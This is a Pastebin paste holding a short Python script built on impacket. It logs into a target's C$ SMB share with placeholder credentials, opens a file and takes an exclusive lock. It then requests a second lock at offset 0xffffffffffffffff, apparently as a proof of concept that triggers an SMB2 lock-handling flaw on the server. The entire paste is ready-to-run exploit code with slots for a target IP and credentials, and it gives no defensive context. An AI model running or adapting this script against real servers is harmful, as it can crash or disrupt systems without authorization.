Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Based on https://twitter.com/dlitchfield/status/714815748280094720
- from impacket.smbconnection import SMBConnection
- from impacket.smb3 import GENERIC_READ, GENERIC_WRITE, FILE_OPEN, SMB2_LOCK_ELEMENT, SMB2_LOCKFLAG_EXCLUSIVE_LOCK, SMB2_DIALECT_002
- USERNAME = 'enterusername'
- PASSWORD = 'enterpassword'
- TARGET = '192.168.1.2'
- TARGETSHARE = 'C$'
- # Target file must exist
- TARGETFILE = 'hello.txt'
- s = SMBConnection(TARGET, TARGET, preferredDialect=SMB2_DIALECT_002)
- s.login(USERNAME, PASSWORD)
- tid = s.connectTree(TARGETSHARE)
- hFile = s.createFile(tid, TARGETFILE, GENERIC_READ|GENERIC_WRITE, 0, creationDisposition=FILE_OPEN)
- smb2Connection = s.getSMBServer()
- lockElement = SMB2_LOCK_ELEMENT()
- lockElement['Offset'] = 0
- lockElement['Length'] = 1024
- lockElement['Flags'] = SMB2_LOCKFLAG_EXCLUSIVE_LOCK
- lockElement['Reserved'] = 0
- smb2Connection.lock(tid, hFile, (lockElement,))
- smb2Connection.write(tid, hFile, 'XXXXXX', 0, 6)
- lockElement = SMB2_LOCK_ELEMENT()
- lockElement['Offset'] = 0xffffffffffffffff
- lockElement['Length'] = 1024
- lockElement['Flags'] = SMB2_LOCKFLAG_EXCLUSIVE_LOCK
- lockElement['Reserved'] = 0
- smb2Connection.lock(tid, hFile, (lockElement,))
- smb2Connection.close(tid, hFile)
- s.logoff()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement